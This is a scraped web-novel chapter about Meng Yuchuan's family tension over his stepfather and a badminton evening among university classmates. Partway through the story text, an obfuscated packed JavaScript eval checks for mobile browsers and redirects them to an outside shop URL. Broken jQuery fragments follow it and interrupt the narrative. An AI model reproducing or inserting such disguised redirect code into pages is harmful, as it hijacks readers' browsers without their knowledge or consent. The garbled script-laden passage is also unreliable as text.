文趣网 > 都市小说 > 可我不是你妹啊 > 7. 孟铃
    「孟逾川:你是觉得她会回来吗。」

    裴凝打出“当然”两个字。

    但她没有发送,她没有这么笃定,所以她又把“当然”删掉,敲下“也许吧”。

    这句又显得不痛不痒,像废话,裴凝又把它删了,打了句“总会找到办法的”。

    什么办法,求神拜佛吗?她才没有头绪,这更像一句没用的安慰了。

    「孟逾川:想说什么直接说。」

    算了,裴凝咬咬牙,点引用后回了句“当然”。

    「孟逾川:……」

    「孟逾川:好吧。」

    马上出站了,裴凝那头又陷入沉默,孟逾川登上扶梯时打开账号详情,踏出扶梯时她的备注变成了“惜字如金小姐”。

    此刻的绿岸花苑小区内人烟寥落,密集的窗后灯火通明,他家的那盏暗着,所以孟逾川没想到开门后屋内有人。

    孟铃坐在昏暗的客厅中,见到儿子微微一愣,“你怎么回来了?”

    “我来拿点东西。你不是和幸叔他出差去了吗?”

    “哦,对。”孟铃不自然地活动了下肩膀,窗外折射进来的光照在她的侧脸,孟逾川换完鞋起身后她还坐在原处。

    屋内寂静无声,孟逾川感觉奇怪:“幸叔没回来?”

    “他还有工作,晚几天吧。”

    “那什么时候回来?”

    孟逾川打开客厅大灯,骤亮的环境让孟铃皱起眉头,她不耐烦地回了句“不知道”就起身想回到卧室。没想到孟逾川会把她拦下。

    他问,是不是出什么事了。

    孟逾川站定在主卧门口,他比孟铃高出很多,从上向下可以看见母亲消瘦又微驼的肩背。她一向精致,但这次却没戴耳环和项链。

    两人僵持了一会儿,直到沉默化作一声长长的叹息。

    “你幸叔……现在想换个人了。”

    “什么意思?你们要离婚?”

    孟铃又长长地吸了口气:“不,不是这么简单的事。公司里有些情况需要避嫌,有人觉得我们一家捆绑太紧,想给我调岗。”

    孟逾川:“幸叔也是这么想的?”

    “我不知道他怎么想。”

    孟铃话中有话,她和幸胜平的婚事不被人看好,原因其一就是因为工作利益上的牵连:一方出资一方出力,二人曾利用职权关系联手拿下了不少项目,可以说幸胜平的今天离不开孟铃的贡献,孟铃也借力取得了她过去不敢想的富余。

    然而高处不胜寒,嫌隙也由此产生。想复刻一条半公开的路径并不难,如果无法成功,也能轻易把原先的毁掉。

    “你幸叔不知道听了谁的疯话,现在也开始提防我,很多公司里的事情不让我过问。”她这次提前结束出差,也是因为幸胜平的安排。

    孟铃看向孟逾川:“他这人心防很重,平常可以给一些小恩小惠,到了大事上拎的比谁都清。要我说,他没把你当做儿子,也不为咱们这个家着想。”

    孟逾川心说虽然幸胜平很负责,但他也没到把幸胜平当做父亲的地步。但孟铃一把抓住他的肩膀:“你不懂!如果没有他,你能有现在的生活吗?你以后还要买房、结婚,你还想去那么多地方,这些哪样不用钱?”

    说这话时,她的手下意识地用力,孟逾川被掐得生疼,连带着对这一番话的不适,他甩开孟铃:“什么意思?我又不是不赚钱!”

    “我出国时申请到了奖学金,上学时也一直在打工!工作也是我自己找的,如果你们计较这些,我可以一笔一笔把这些钱还给你们。”

    大概是没想到孟逾川会激动,孟铃放软语调:“我不是这个意思,你幸叔叔也不是那么绝情的人。你看,幸杏不也挺喜欢你的嘛,我们还是一家人。”

    “所以你才总让我给幸杏送东西?”

    孟逾川猝不及防地打断了孟铃,她由哑然转为愠怒:“你就这么不情不愿?”

    “这不是一码事。”他以前又不是没有关心过幸杏,但它们出自于他的本心,而不是孟铃功利的安排。他扭过头去,这间新装的海景大平层在夜色下显得空空荡荡,他印象中鲜少有一家人温馨的画面。

    孟铃也退后一步,她很累了,没空和儿子争论这些。主卧大门不轻不重地关上后,孟逾川回到了按照样板间布置的次卧之一。

    衣柜里有几件他要取的换季衣物,他从中挑出要拿的一件,掂量了一下,最终把所有衣服都放进了打包袋。第二天一早,他先开车把它们放回出租屋,之后才坐地铁去上班。

    他离开时孟铃已经冲好了黑咖啡,正在跑步机上匀速有氧,清晨的阳光透过落地窗,照在她紧致的背肌上,她会在白港市的早高峰末尾开上车,继续光鲜亮丽地出现在公司。

    这一周很快过去,裴凝的大学生活渐入佳境,除了幸杏的过于丰富的社交生活,让她时不时会在一群人中感到脸盲。

    又到周五,秦天晴在犹豫是晚上回家还是周六一早再走,她叫住同为本地人的裴凝:“你这周末回家吗?”

    “回吧。”她从床上直起身,要不是秦天晴提醒,她都忘了这茬。

    自从那天之后她和孟逾川再无联系,她收拾好要带回家的衣物,把幸杏的手机藏了进去。

    “那明天一起走?”秦天晴眼睛一亮,“今晚我们去打羽毛球吧!学校羽协那群人准备办混双比赛,我们提前去练练!”

    裴凝倒下:“一定要去吗?”

    秦天晴:“能加综测。”

    “……好。”

    这一周里裴凝摸清了幸杏过往的社交圈、学习习惯,还领到了上学期的绩点排名,意外的是,幸杏和秦天晴都稳在保研线内。

    白港大学的保研率并不算高,且她们所在的社会与人文学院强调实践,因此相较于做科研和发表论文,她们也很重视各类能加分的赛事活动。

    幸杏很多社交好友就来源于此。

    裴凝觉得这很好,虽然她不感兴趣:“今晚还有谁?”

    “周嘉宁说他也要来,剩下还有体育部的一些同学。”

    裴凝松了口气,有秦天晴和周嘉宁两个大E人在场,即使有认不出来的同学,也能被她蒙混过关。还有她这周开始使用的伎俩,“感冒”,对人对事都淡淡的也能被理解。

    他们约在球场见面,台风过境后的夜空晴朗无云,晚风舒爽,难得的好天气。

    裴凝穿了运动长裤和短袖,上衣是速干且修身的面料,她和秦天晴拿着拍在塑胶场地上蹦了蹦,新鲜空气灌入肺中,令人心情舒畅。

    周嘉宁正坐在看台边上,下午的篮球队训练已经结束,他回宿舍冲了个澡后就赶了过来。他远远地打了个招呼,跑到她们身边时带起的风中有柠檬味。

    秦天晴看着他微湿的发尾揶揄:“待会儿还要出汗呢,怎么下午就洗澡了?”

    周嘉宁“啧”了一声,不想理她。他转向裴凝:“你感冒好点了吗?”

    裴凝想起来这茬:“好多了。你队友呢?”

    “队友?我们还没组队,等会看看和谁比较默契。”周嘉宁给两人各递了瓶电解质水,“感冒了多喝水,也不要太剧烈运动。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965478|214488||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    秦天晴学他:“感冒了多喝水~”

    周嘉宁:“你能不能安静一会儿。”

    裴凝的注意力被另一旁成群结队的人吸引,他们朝周嘉宁挥了挥手,看服装是篮球队的成员。一个黑皮大高个走来,“呦,晚上准备加练呢?哎,这不是幸杏吗?这个学期第一次见你。”

    裴凝不知道他是谁,她尴尬笑笑,“好久不见,刚开学嘛。”

    黑皮大高个搭住周嘉宁的肩,身体却靠向裴凝和秦天晴:“你们也要参加羽球混双?这次是以学院为单位的比赛,怎么不找同学院的对练,周嘉宁这家伙还有晚训呢。”

    周嘉宁撇开他:“我下午请过假了。最近篮球队也没比赛啊。”

    “总不能三天打渔两天晒网吧。”黑皮又转向幸杏,“我们要招新的篮球经理了,要不要来竞选一下?你来的话我们可以黑幕你。”

    裴凝刚想说这不好吧,秦天晴就开口打断他,“她上学期都提辞呈了,你就别问了呗。”

    黑皮耸耸肩,其他人三三两两去校园跑,他走到一半又折返回来,“我刚开玩笑的,你们缺陪练吗,我看周嘉宁一人也打不了混双吧。”

    周嘉宁的搭子还在路上,彼时的三人刚上场玩了没多久,被打扰得很不爽。裴凝刚从二人口中得知自己上学期做篮球队经理的往事,还没开始庆幸没露馅,就看见黑皮站到了秦天晴的半场,“天晴,你们也不能两个人欺负周嘉宁啊。”

    言下之意是让她去和周嘉宁搭档,自己和幸杏一组。

    裴凝无语地闭上眼。秦天晴被挤得一愣,她走到球网对面,和周嘉宁对视了一眼后笑了:“行啊。”

    裴凝:“我们打11分制的吧,三局两胜,怎么样?”

    “为什么不打21分制的,按正规比赛的走?”

    她弯腰挑球:“我感冒了,不想太累。”

    说罢,一记不快不慢的高远球被发了出去,向着斜对角秦天晴所在的半场飞去,她轻巧地向前迈了半步,抡拍幅度很大,球拍触到球时却忽然收力,最终打出的是一记吊球。

    羽球以出乎意料的轨迹贴着球网而过,向着黑皮所在的前场飞去,这假动作让他不得不猛冲向前,好不容易回击后周嘉宁又杀了个又快又远的勾对角。

    裴凝站在半场中央,除了偶尔几个飞向她的高远球,其余时间她都在兴致盎然地看着两人遛狗。没一会儿黑皮就气喘吁吁,他想叫中场休息,又被裴凝一句“十一分的局不用休息吧”塞了回去。

    前两场都赢得毫无悬念,对面两人打得想笑,但不能表现得太明显。他们凑到网前假惺惺道:“还有一局,要打完吗?”

    裴凝也对着黑皮:“不好意思啊,我今天确实不太舒服。”

    他强撑脸面:“呃,没事的。要不今天就到这?”

    秦天晴立刻挥了挥手:“下次再约啊!”

    球场上的人少了很多,周嘉宁的搭子顶替黑皮后四人正式打了三场,结束时气温已经有了阵阵凉意。他们结伴走出球场,裴凝出了点汗,风一吹更冷。

    周嘉宁突然脱下自己的外套,盖在了她身上,“晚上冷。”

    这是个意味明显的举动,裴凝下意识去看秦天晴,而她快步追上周嘉宁的搭子,把她和周嘉宁留在后面。

    一阵强烈的风吹来,确实很冷,裴凝用余光瞥见周嘉宁紧绷的下颌线,心思和写在脸上没区别。她拉紧了外套:“谢谢啊。”

    不远处的围栏外,孟逾川的手指停在拨号界面,他目送着二人消失在校园尽头,最终收起了手机。